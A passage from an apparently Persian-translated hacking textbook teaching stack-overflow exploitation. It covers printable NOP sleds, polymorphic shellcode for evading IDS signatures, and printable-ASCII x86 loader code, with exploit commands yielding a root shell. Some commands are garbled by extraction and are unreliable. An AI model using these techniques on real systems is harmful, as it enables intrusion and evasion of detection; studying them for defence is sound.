‫از اﯾﻦ ﻧﻮع ﺗﺸﺨﯿﺺ ﻫﺎ اﺳﺖ )ﺑﻪ ﺑﮑﺎر ﺑﺴﺘﻦ دﻗﺖ ﯾﺎد ﺷﺪه دﯾﮕﺮ ﻧﯿﺎزی ﺑﻪ ﺳﻮرﺗﻤﻪ ‪ NOP‬ﻧﺨﻮاﻫﺪ ﺑﻮد و ﻟﺬا ﻫﯿﭻ ﺗـﻮاﻟﯽ‬
‫از دﺳﺘﻮرات ‪ NOP‬ﻫﻢ ﯾﺎﻓﺖ ﻧﺨﻮاﻫﺪ ﺷﺪ(‪ ،‬اﻣﺎ راه دﯾﮕﺮ اﺳﺘﻔﺎده از ﯾﮏ دﺳﺘﻮر ﺗﮏ‪-‬ﺑﺎﯾﺘﯽ ﻣﺘﻔﺎوت ﺑﺮای ﺳﻮرﺗﻤﻪ اﺳﺖ‪.‬‬
‫ﭼﻮن ﺛﺒﺎت ﻫﺎﯾﯽ ﮐﻪ در ﺷﻞ‪-‬ﮐﺪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﺑﻪ ﻫﺮ ﺣﺎل ﺻﻔﺮ ﻣﯽ ﮔﺮدﻧﺪ‪ ،‬ﻟﺬا اﻓﺰاﯾﺶ ﯾﺎ ﮐﺎﻫﺶ دﺳـﺘﻮرات ﻗﺒـﻞ از‬
‫ﺻﻔﺮ ﺷﺪن آﻧﻬﺎ ﺗﺎﺛﯿﺮی ﻧﺨﻮاﻫﺪ داﺷﺖ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﻣﺜﻼ ﺣﺮف ‪ B‬را ﺑﻪ ﻃﻮر ﻣﺘﻨـﺎوب ﺑـﻪ ﺟـﺎی ﯾـﮏ دﺳـﺘﻮر‬
‫‪) NOP‬ﮐﻪ ﺣﺎوی ﻣﻘﺪار ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ ‪ 0x90‬اﺳﺖ( ﺑﮑﺎر ﺑﺮد‪ .‬اﯾﻦ ﻣﻮﺿﻮع را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫?‪$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.‬‬
‫‪0xbffff884‬‬
‫‪$ ./vuln 'perl -e 'print "B"x217;'"cat tinyshell"perl -e 'print‬‬
‫'';‪"\x84\xf8\xff\xbf"x70‬‬
‫‪sh-2.05b# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬

‫‪85‬‬
‫ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان ﺗﺮﮐﯿﺒﯽ از اﯾﻦ دﺳﺘﻮرات ﯾﮏ ﺑﺎﯾﺘﯽ ﻗﺎﺑﻞ ﭼﺎپ را ﺑﮑﺎر ﺑﺮد ﮐﻪ در ﻧﺘﯿﺠﻪ ﯾـﮏ ﺗـﻮاﻟﯽ زﯾﺮﮐﺎﻧـﻪ و ﻗﺎﺑـﻞ‬
‫ﭘﯿﺶ ﺑﯿﻨﯽ ﺑﺪﺳﺖ ﺧﻮاﻫﺪ آﻣﺪ‪:‬‬
‫'‪$ export SHELLCODE=HIJACKHACK'cat tinyshell‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffa7e‬‬
‫'';‪$ ./vuln2 'perl -e 'print "\x7e\xfa\xff\xbf"x8‬‬
‫‪sh-2.05b# whoami‬‬
‫‪root‬‬
‫‪sh-2.05b#‬‬
‫اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ در ﺳﻮرﺗﻤﻪ ‪ ،NOP‬اﺷﮑﺎل زداﯾﯽ اﮐـﺴﭙﻠﻮﯾﺖ را راﺣـﺖ ﺗـﺮ ﻣـﯽ ﺳـﺎزد و ﻧﯿـﺰ اﻣﮑـﺎن‬
‫ﺗﺸﺨﯿﺺ ﺳﻮرﺗﻤﻪ را ﺗﻮﺳﻂ ﻗﻮاﻧﯿﻦ ﺳﺎده ‪ IDS‬ﻫﺎ در ﯾﺎﻓﺘﻦ رﺷﺘﻪ ﻫﺎی ﻃﻮﻻﻧﯽ از دﺳﺘﻮرات ‪ NOP‬از ﺑﯿﻦ ﻣﯽ ﺑﺮد‪.‬‬

‫‪ .2,10,9‬ﺷﻞ‪-‬ﮐﺪﻫﺎی دﮔﺮﺷﮑﻞ‬

‫ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﭘﯿﭽﯿﺪه ﺗﺮ اﻣﻀﺎﻫﺎی ﻣﻌﻤﻮل در ﺷﻞ‪-‬ﮐﺪ را ﺟﺴﺘﺠﻮ ﻣﯽ ﮐﻨﻨﺪ‪ .‬اﻣﺎ ﺑﺎ اﺳﺘﻔﺎده از ﺷﻞ‪-‬ﮐﺪ ﭼﻨـﺪ‬
‫ﺷﮑﻠﯽ ﯾﺎ دﮔﺮﺷﮑﻞ )‪ (polymorphic shellcode‬ﻣﯽ ﺗﻮان ﺣﺘﯽ اﯾﻦ ﺳﯿﺴﺘﻢ ﻫﺎ را دور زد )‪ .(bypass‬اﯾﻦ ﺗﮑﻨﯿـﮏ در‬
‫ﺑﯿﻦ وﯾﺮوس ﻧﻮﯾﺴﺎن راﯾﺞ اﺳﺖ و ﻣﻌﻤﻮﻻ ﻣﺎﻫﯿﺖ اﺻﻠﯽ ﺷﻞ‪-‬ﮐﺪ را در ﻗﺎﻟﺐ ﭘﻮﺷﺶ ﻫﺎی ﺑﺴﯿﺎر زﯾﺎد ﻣﺨﻔـﯽ ﻣـﯽ ﻧﻤﺎﯾـﺪ‪.‬‬
‫ﻣﻌﻤﻮﻻ اﯾﻦ ﮐﺎر ﺑﺎ ﻧﻮﺷﺘﻦ ﯾـﮏ ﺑﺎرﮔـﺬار )‪ (loader‬اﻧﺠـﺎم ﻣـﯽ ﺷـﻮد ﮐـﻪ ﺷـﻞ‪-‬ﮐـﺪ را ﺑـﻪ ﺗﺮﺗﯿـﺐ ﺳـﺎﺧﺘﻪ و رﻣﺰﮔـﺸﺎﯾﯽ‬
‫)‪ (decode‬و ﺳﭙﺲ آﻧﺮا اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ .‬ﯾﮏ ﺗﮑﻨﯿﮏ ﻣﻌﻤﻮل در اﯾﻦ راﺳﺘﺎ رﻣﺰی ﮐـﺮدن )‪ (encrypt‬ﺷـﻞ‪-‬ﮐـﺪ ﺑـﺎ ‪XOR‬‬
‫ﮐﺮدن ﻣﻘﺎدﯾﺮ در آن‪ ،‬اﺳﺘﻔﺎده از ﮐﺪ ﺑﺎرﮔﺬار ﺑﺮای رﻣﺰﮔﺸﺎﯾﯽ ﺷﻞ‪-‬ﮐﺪ‪ ،‬ﺳﭙﺲ اﺟﺮا ﺷﻞ‪-‬ﮐﺪ رﻣﺰﮔﺸﺎﯾﯽ ﺷﺪه اﺳﺖ‪ .‬اﯾﻦ‬
‫ﻓﺮآﯾﻨﺪ اﻣﮑﺎن ﺗﺸﺨﯿﺺ داده ﺷﺪن ﺷﻞ‪-‬ﮐﺪ رﻣﺰﺷﺪه و ﮐﺪ ﺑﺎرﮔﺬار را ﺗﻮﺳﻂ ﺳﯿـﺴﺘﻢ ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ از ﺑـﯿﻦ ﻣـﯽ ﺑـﺮد‪،‬‬
‫اﮔﺮﭼﻪ ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ ﯾﮑﺴﺎن اﺳﺖ )ﯾﻌﻨﯽ اﺟﺮا ﺷﺪن ﺷﻞ‪-‬ﮐﺪ(‪ .‬ﯾﮏ ﺷﻞ‪-‬ﮐﺪ ﯾﮑﺴﺎن را ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﺮق ﺑـﺴﯿﺎر ﻣﺨﺘﻠﻔـﯽ‬
‫رﻣﺰی ﮐﺮد‪ ،‬ﻟﺬا ﻓﺮآﯾﻨﺪ ﺗﺸﺨﯿﺺ ﻣﺒﺘﻨﯽ ﺑﺮ اﻣﻀﺎ‪ 40‬ﺗﻘﺮﯾﺒﺎ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯽ ﮔﺮدد‪.‬‬
‫اﺑﺰاری ﻣﺜﻞ ‪ ADMutate‬وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺎ ‪ XOR‬ﮐﺮدن ﺷﻞ‪-‬ﮐﺪ‪ ،‬آﻧﺮا رﻣﺰی ﮐﺮده و ﺳـﭙﺲ ﮐـﺪ ﺑﺎرﮔـﺬار را ﺑـﻪ آن‬
‫ﺿﻤﯿﻤﻪ ﻣﯽ ﻧﻤﺎﯾﻨﺪ‪ .‬اﮔﺮﭼﻪ اﯾﻦ اﺑﺰار ﮐﺎﻣﻼ ﻣﻔﯿﺪ اﺳﺖ‪ ،‬اﻣﺎ ﻧﻮﺷﺘﻦ ﯾﮏ ﺷﻞ‪-‬ﮐﺪ دﮔﺮﺷﮑﻞ ﺑﺪون اﺳـﺘﻔﺎده از اﺑـﺰار ﺗﺠﺮﺑـﻪ‬
‫ﺑﻬﺘﺮی اﺳﺖ‪.‬‬

‫‪ .2,10,10‬ﺷﻞ‪-‬ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ و دﮔﺮﺷﮑﻞ‬

‫ﺑﺮای ﻣﺨﻔﯽ ﮐﺮدن ﺷﻞ‪-‬ﮐﺪ‪ ،‬ﺑﺎﯾﺪ ﯾﮏ ﺷﻞ‪-‬ﮐـﺪ دﮔﺮﺷـﮑﻞ را ﺗﻤﺎﻣـﺎ ﺑـﺎ ﮐﺎراﮐﺘﺮﻫـﺎی ﻗﺎﺑـﻞ ﭼـﺎپ اﯾﺠـﺎد ﮐـﺮد‪ .‬ﻟـﺬا اﯾـﻦ‬
‫ﻣﺤﺪودﯾﺖ در اﺳﺘﻔﺎده از دﺳﺘﻮراﺗﯽ ﮐﻪ ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﺷـﻮﻧﺪ ﻣـﺸﮑﻼﺗﯽ را اﯾﺠـﺎد ﻣـﯽ‬
‫ﮐﻨﺪ و در ﮐﻨﺎر آن ﻧﯿﺰ ﻫﮏ ﻫﺎی زﯾﺮﮐﺎﻧﻪ ﺗﺮی ﺑﮑﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﻣﺎ در اﻧﺘﻬﺎ ﺷﻞ‪-‬ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻮﻟﯿـﺪ ﺷـﺪه‬
‫ﺑﺎﯾﺴﺘﯽ ﺑﺴﯿﺎری از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ را ﻓﺮﯾﺐ دﻫﺪ‪ .‬ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان آﻧﺮا در ﺑﺎﻓﺮﻫﺎی ﻣﺤﺪودﮐﻨﻨﺪه ای ﺟﺎی‬
‫داد ﮐﻪ اﺟﺎزه ﻧﻮﺷﺘﻦ ﮐﺎراﮐﺘﺮﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ را ﻧﻤﯽ دﻫﻨﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐـﻪ اﯾـﻦ ﺷـﻞ‪-‬ﮐـﺪ ﻣـﯽ ﺗﻮاﻧـﺪ‬
‫ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ را اﮐﺴﭙﻠﻮﯾﺖ ﮐﻨﺪ ﮐﻪ ﺷﺎﯾﺪ ﻗﺒﻼ ﻏﯿﺮﻗﺎﺑﻞ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن ﺑﻮده اﻧﺪ‪.‬‬
‫زﯾﺮ ﻣﺠﻤﻮﻋﻪ ای از دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﮐﻪ ﺑﻪ ﺻﻮرت دﺳﺘﻮرات ﮐﺪ ﻣﺎﺷﯿﻦ اﺳﻤﺒﻞ ﺷﺪه و در ﻣﺤﺪوده ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ‬
‫ﻗﺎﺑﻞ ﭼﺎپ ﺑﺎﺷﻨﺪ )از ﮐﺎراﮐﺘﺮی ﺑﺎ ﻣﻘﺪار ‪ 0x33‬ﺗﺎ ‪ (0x7e‬ﻋﻤﻼ ﺧﯿﻠﯽ ﮐﻮﭼﮏ اﺳﺖ‪ .‬اﯾﻦ ﻣﺤﺪودﯾﺖ ﻧﻮﺷﺘﻦ ﺷﻞ‪-‬ﮐﺪ را ﺑﻪ‬
‫ﻃﻮر ﻣﺤﺴﻮﺳﯽ دﺷﻮار وﻟﯽ ﻧﻪ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯽ ﺳﺎزد‪.‬‬

‫‪40‬‬
‫‪Signature-based Detection‬‬
‫‪86‬‬
‫ﻣﺘﺎﺳﻔﺎﻧﻪ دﺳﺘﻮر ‪ XOR‬روی ﺑﻌﻀﯽ ﺛﺒﺎت ﻫﺎ ﺑﻪ ﺻﻮرت آن ﻣﺠﻤﻮﻋﻪ ی ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻧﻤﯽ ﺷﻮد‪ .‬ﺑﻪ اﯾـﻦ‬
‫ﺻﻮرت ﺑﺎﯾﺪ راﻫﮑﺎر دﯾﮕﺮی ﺟﻬﺖ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت ﻫﺎ ﺑﻪ ﻣﻨﻈﻮر اﺟﺘﻨﺎب از ﺑﺎﯾﺖ ﻫـﺎی ﭘـﻮچ و ﻧﯿـﺰ اﺳـﺘﻔﺎده ی ﺗﻨﻬـﺎ از‬
‫دﺳﺘﻮرات ﻗﺎﺑﻞ ﭼﺎپ اﺗﺨﺎذ ﺷﻮد‪ .‬ﺧﻮﺷﺒﺨﺘﺎﻧﻪ ﻋﻤﻠﮕﺮﺑﯿﺘﯽ دﯾﮕﺮی ﺑﻪ ﻧﺎم ‪ AND‬وﺟﻮد دارد ﮐﻪ ﺑﻬﻨﮕﺎم اﺳـﺘﻔﺎده از ﺛﺒـﺎت‬
‫‪ EAX‬ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮ ‪ %‬اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد‪ .‬ﭼﻮن ﻣﻘﺪار ‪ 0x41‬در ﻫﮕﺰادﺳﯿﻤﺎل ﻣﻌﺎدل ﮐﺎراﮐﺘﺮ ﻗﺎﺑـﻞ ﭼـﺎپ ‪ A‬اﺳـﺖ‪،‬‬
‫ﻟﺬا دﺳﺘﻮر اﺳﻤﺒﻠﯽ "‪ "and eax, 0x41414141‬ﺑﻪ ﺻﻮرت ﮐﺪ ﻣﺎﺷﯿﻦ ﻗﺎﺑﻞ ﭼﺎپ "‪ "%AAAA‬اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد‪.‬‬
‫ﺗﻐﯿﯿﺮ ﺑﯿﺖ ﻫﺎ در دﺳﺘﻮر ‪ AND‬از ﻗﺮار زﯾﺮ اﺳﺖ‪:‬‬
‫‪1‬‬ ‫‪and‬‬ ‫‪1‬‬ ‫=‬ ‫‪1‬‬
‫‪0‬‬ ‫‪and‬‬ ‫‪0‬‬ ‫=‬ ‫‪0‬‬
‫‪1‬‬ ‫‪and‬‬ ‫‪0‬‬ ‫=‬ ‫‪0‬‬
‫‪0‬‬ ‫‪and‬‬ ‫‪1‬‬ ‫=‬ ‫‪0‬‬
‫ﭼﻮن ﺗﻨﻬﺎ ﻣﻮردی ﮐﻪ ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ آن ‪ 1‬اﺳﺖ زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﻣﻘﺪار ﻫﺮ دو ﺑﯿﺖ ‪ 1‬ﺑﺎﺷﺪ‪ ،‬ﻟﺬا اﮔﺮ دو ﻣﻘـﺪار ﻣﻌﮑـﻮس ﺑـﺎ‬
‫ﻫﻢ‪ ،‬درون ‪ AND EAX‬ﺷﻮﻧﺪ‪ ،‬آﻧﮕﺎه ﻣﻘﺪار ‪ EAX‬ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
‫‪Binary‬‬ ‫‪Hexadecimal‬‬
‫‪1000101010011100100111101001010‬‬ ‫‪0x454e4f4a‬‬
‫‪AND 0111010001100010011000000110101‬‬ ‫‪AND 0x3a313035‬‬
‫‪------------------------------------‬‬ ‫‪---------------‬‬
‫‪0000000000000000000000000000000‬‬ ‫‪0x00000000‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﺗﮑﻨﯿﮏ و اﺳﺘﻔﺎده از دو ﻣﻘﺪار ‪ 32‬ﺑﯿﺘﯽ ﻗﺎﺑﻞ ﭼﺎپ و ﻣﻌﮑﻮس ﺑﯿﺘﯽ ﯾﮑﺪﯾﮕﺮ‪ ،‬ﻣﯽ ﺗﻮان ﺑﺪون اﺳﺘﻔﺎده از‬
‫ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﻣﻘﺪار ﺛﺒﺎت ‪ EAX‬را ﺻﻔﺮ ﮐﺮد و ﮐﺪ ﻣﺎﺷﯿﻦ اﺳﻤﺒﻞ ﻧﯿﺰ ﯾﮏ ﻣﺘﻦ ﻗﺎﺑﻞ ﭼﺎپ ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
‫‪and eax, 0x454e4f4a‬‬ ‫‪; assembles into %JONE‬‬
‫‪and eax, 0x3a313035‬‬ ‫‪; assembles into %501:‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ ﮐﺪ ﻣﺎﺷﯿﻦ "‪ "%JONE%501:‬ﺳﺒﺐ ﺻﻔﺮ ﺷﺪن ﺛﺒﺎت ‪ EAX‬ﻣـﯽ ﺷـﻮد‪ .‬دﯾﮕـﺮ دﺳـﺘﻮراﺗﯽ ﮐـﻪ ﺑـﻪ ﺻـﻮرت‬
‫ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮﻧﺪ از ﻗﺮار زﯾﺮ ﻫﺴﺘﻨﺪ‪:‬‬
‫‪sub eax, 0x41414141‬‬ ‫‪-AAAA‬‬
‫‪push eax‬‬ ‫‪P‬‬
‫‪pop eax‬‬ ‫‪X‬‬
‫‪push esp‬‬ ‫‪T‬‬
‫‪pop esp‬‬ ‫\‬
‫اﯾﻦ دﺳﺘﻮرات ﺑﻬﻤﺮاه دﺳﺘﻮر ‪ AND eax‬ﺑﺮای اﯾﺠﺎد ﮐﺪﺑﺎرﮔﺬار )ﮐﻪ ﺷﻞ‪-‬ﮐﺪ را روی ﭘﺸﺘﻪ اﯾﺠﺎد و ﺳﭙﺲ اﺟﺮا ﺧﻮاﻫﺪ‬
‫ﮐﺮد( ﮐﺎﻓﯽ ﻫﺴﺘﻨﺪ‪ .‬ﺗﮑﻨﯿﮏ ﮐﻠﯽ ﺑﻪ اﯾﻦ ﺻﻮرت اﺳﺖ ﮐﻪ اﺑﺘﺪا ﺑﺎﯾﺪ ﻣﻘﺪار ‪ ESP‬را ﺑﻪ ﻣﺤﻠﯽ ﻗﺒﻞ از ﮐـﺪِ ﺑﺎرﮔـﺬار در ﺣـﺎل‬
‫اﺟﺮا )در آدرس ﻫﺎی ﺑﺎﻻ ﺣﺎﻓﻈﻪ( ﺗﻨﻈﯿﻢ ﮐﻨﯿﻢ و ﺳﭙﺲ ﺷﻞ‪-‬ﮐﺪ را از آﺧﺮ ﺑﻪ اول‪ ،‬ﺑﺎ ﻗﺮار دادن ﻣﻘﺎدﯾﺮ در ﭘﺸﺘﻪ ﺑﺴﺎزﯾﻢ‪.‬‬
‫در زﯾﺮ روﻧﺪ ﻣﺮﺑﻮﻃﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪.‬‬

‫‪87‬‬
‫ﭼﻮن رﺷﺪ ﭘﺸﺘﻪ رو ﺑﻪ ﺑﺎﻻ اﺳﺖ )از آدرس ﻫﺎی ﺑﺎﻻﺗﺮ ﺣﺎﻓﻈﻪ ﺑﻪ آدرس ﻫﺎی ﭘﺎﺋﯿﻦ ﺗﺮ ﺣﺎﻓﻈﻪ(‪ ،‬ﻟﺬا در زﻣﺎن ﻗﺮار ﮔﺮﻓﺘﻦ‬
‫ﻣﻘﺎدﯾﺮ در ﭘﺸﺘﻪ‪ ESP ،‬رو ﺑﻪ ﻋﻘﺐ و ﺑﻬﻨﮕﺎم اﺟﺮای ﮐﺪ ﺑﺎرﮔﺬار ‪ ،EIP‬رو ﺑﻪ ﺟﻠﻮ ﺣﺮﮐﺖ ﻣﯽ ﮐﻨﺪ‪ .‬ﻧﻬﺎﯾﺘﺎ ‪ EIP‬و ‪ ESP‬ﺑـﻪ‬
‫ﯾﮑﺪﯾﮕﺮ ﻣﯽ رﺳﻨﺪ )ﭼﻮن ﺟﻬﺖ ﺣﺮﮐﺖ آﻧﻬﺎ ﻣﺨﺎﻟﻒ ﯾﮑﺪﯾﮕﺮ اﺳﺖ( و از آن ﻧﻘﻄﻪ ﺑﻪ ﺑﻌﺪ‪ EIP ،‬ﺷﻞ‪-‬ﮐﺪ ﺗﺎزه اﯾﺠﺎد ﺷـﺪه‬
‫را اﺟﺮا ﻣﯽ ﮐﻨﺪ‪.‬‬
‫اﺑﺘﺪا ﺑﺎﯾﺪ ﻣﻘﺪار ‪ ESP‬را ﺑﻪ ‪ 860‬ﺑﺎﯾﺖ ﻗﺒﻞ از ﮐﺪﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا ﺗﻨﻈﯿﻢ ﮐﻨﯿﻢ ﮐﻪ اﯾﻦ ﮐﺎر ﺑـﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﻣﻘـﺪار‬
‫‪ 860‬ﺑﻪ ‪ ESP‬اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻣﻘﺪار اﻧﺪازه ﮐﺪﺑﺎرﮔﺬار را ﺗﻌﯿﯿﻦ ﻣﯽ ﻧﻤﺎﯾﺪ‪ ،‬ﻫﻤﭽﻨﯿﻦ ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن اﯾﻦ ﻣﻘﺪار ﺣﺪود‬
‫‪ 200‬ﺑﺎﯾﺖ ﺑﺮای ﺳﻮرﺗﻤﻪ ‪ NOP‬در ﻧﻈﺮ ﮔﺮﻓﺘﻪ اﯾﻢ‪ .‬ﻧﯿﺎزی ﺑﻪ دﻗﯿﻖ ﺑﻮدن اﯾﻦ ﻣﻘﺪار ﻧﯿﺴﺖ‪ ،‬ﭼﺮا ﮐـﻪ ﺗـﺪاﺑﯿﺮی ﮐـﻪ ﺑﻌـﺪا‬
‫اﺗﺨﺎذ ﻣﯽ ﮔﺮدد اﻣﮑﺎن اﻧﺪﮐﯽ ﮐﻢ دﻗﺘﯽ را ﻓﺮاﻫﻢ ﻣﯽ آورد‪ .‬ﭼﻮن ﺗﻨﻬﺎ دﺳﺘﻮر ﮐﺎرﺑﺮدی در اﯾـﻦ ﺷـﺮاﯾﻂ دﺳـﺘﻮر ﺗﻔﺮﯾـﻖ‬
‫اﺳﺖ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان دﺳﺘﻮر ﺟﻤﻊ را ﺑﺎ ﮐﺎﺳﺘﻦ ﯾﮏ ﻣﻘﺪار از ﺑﯿﺸﺘﺮﯾﻦ ﻣﻘﺪار ﭘﻮﺷﺶ داده ﺷﺪه در ﯾﮏ ﺛﺒﺎت ﺷـﺒﯿﻪ ﺳـﺎزی‬
‫ﮐﺮد‪ .‬ﻣﺜﻼ در ﯾﮏ ﺛﺒﺎت ﮐﻪ ﺗﻨﻬﺎ ‪ 32‬ﺑﯿﺖ ﻓﻀﺎ دارد‪ ،‬اﺿﺎﻓﻪ ﺷﺪن ﻣﻘﺪار ‪ 860‬ﺑﻪ ﯾﮏ ﺛﺒﺎت ﻣﻌﺎدل ﺑـﺎ ﻋﺒـﺎرت ‪232 – 860‬‬
‫ﯾﺎ ‪ 4,294,966,436‬اﺳﺖ‪ .‬اﻣﺎ ﺑﺎﯾﺪ اﯾﻦ ﺗﻔﺮﯾﻖ را ﺗﻨﻬﺎ ﺑﺎ ﻣﻘﺎدﯾﺮ ﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم داد‪ ،‬ﻟـﺬا اﯾـﻦ ﺗﻔﺮﯾـﻖ ﺑـﻪ ﺳـﻪ دﺳـﺘﻮر‬
‫ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد ﮐﻪ ﻫﻤﮕﯽ از ﻋﻤﻠﻮﻧﺪﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫‪sub eax, 0x39393333 ; assembles into -3399‬‬
‫‪sub eax, 0x72727550 ; assembles into -Purr‬‬
‫‪sub eax, 0x54545421 ; assembles into -!TTT‬‬
‫ﻫﺪف‪ ،‬ﮐﺎﺳﺘﻦ اﯾﻦ ﻣﻘﺎدﯾﺮ از ‪) ESP‬و ﻧﻪ ‪ (EAX‬اﺳﺖ‪ ،‬اﻣﺎ در اﯾﻦ ﺻﻮرت دﺳﺘﻮر "‪ "sub esp‬ﺑﻪ ﺻـﻮرت ﮐﺎراﮐﺘﺮﻫـﺎی‬
‫اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻧﻤﯽ ﺷﻮد‪ .‬ﻟﺬا ﺑﺮای ﺗﻔﺮﯾﻖ ﺑﺎﯾﺪ ﻣﻘﺪار ﻓﻌﻠﯽ ‪ ESP‬را ﺑﻪ ‪ EAX‬ﻣﻨﺘﻘﻞ ﮐﺮد‪ ،‬ﺳﭙﺲ ﻣﻘـﺪار ﺟﺪﯾـﺪ‬
‫‪ EAX‬را ﻣﺠﺪدا ﺑﻪ ‪ ESP‬اﻧﺘﻘﺎل داد‪.‬‬
‫ﭼﻮن ﻫﯿﭻ ﯾﮏ از دﺳﺘﻮرات "‪ "mov esp, eax‬و "‪ "mov eax, esp‬ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ‬
‫ﻧﻤﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا اﯾﻦ اﻧﺘﻘﺎل را ﺑﺎﯾﺪ ﺑﺎ اﺳﺘﻔﺎده از ﭘﺸﺘﻪ اﻧﺠـﺎم داد‪ .‬ﺑـﺎ ﻗـﺮار دادن ﻣﻘـﺪار از ﺛﺒـﺎت ﻣﻨﺒـﻊ در ﭘـﺸﺘﻪ و ﺳـﭙﺲ‬
‫ﺑﺎزﯾﺎﺑﯽ ﻫﻤﺎن ﻣﻘـﺪار در ﺛﺒـﺎت ﻣﻘـﺼﺪ ﻣﯿﺘـﻮان ﻣﻌـﺎدل دﺳـﺘﻮر ">‪ "mov <dest>, <source‬را در ﻗﺎﻟـﺐ دﺳـﺘﻮرات‬
‫">‪ "push <source‬و ">‪ "pop <dest‬ﭘﯿﺎده ﺳﺎزی ﮐﺮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﭼﻮن دﺳﺘﻮرات ‪ pop‬و ‪ push‬ﺑﺮای ﻫﺮ دو ﺛﺒـﺎت‬
‫‪ EAX‬و ‪ ESP‬ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا ﺗﻤﺎم اﯾﻦ ﻋﻤﻠﯿﺎت در ﻗﺎﻟﺐ ﮐﺪﻫﺎی اﺳـﮑﯽ‬
‫ﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم ﻣﯽ ﮔﺮدد‪.‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ ﻣﺠﻤﻮﻋﻪ دﺳﺘﻮر ﻧﻬﺎﯾﯽ ﺟﻬﺖ اﺿﺎﻓﻪ ﮐﺮدن ﻣﻘﺪار ‪ 860‬ﺑﻪ ‪ ESP‬ﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ‪:‬‬
‫‪and eax, 0x454e4f4a ; assembles into %JONE‬‬
‫‪and eax, 0x3a313035 ; assembles into %501:‬‬

‫‪push esp‬‬ ‫‪; assembles into T‬‬


‫‪pop eax‬‬ ‫‪; assembles into X‬‬

‫‪sub eax, 0x39393333 ; assembles into -3399‬‬


‫‪sub eax, 0x72727550 ; assembles into -Purr‬‬
‫‪sub eax, 0x54545421 ; assembles into -!TTT‬‬

‫‪push eax‬‬ ‫‪; assembles into P‬‬


‫‪pop esp‬‬ ‫\ ‪; assembles into‬‬
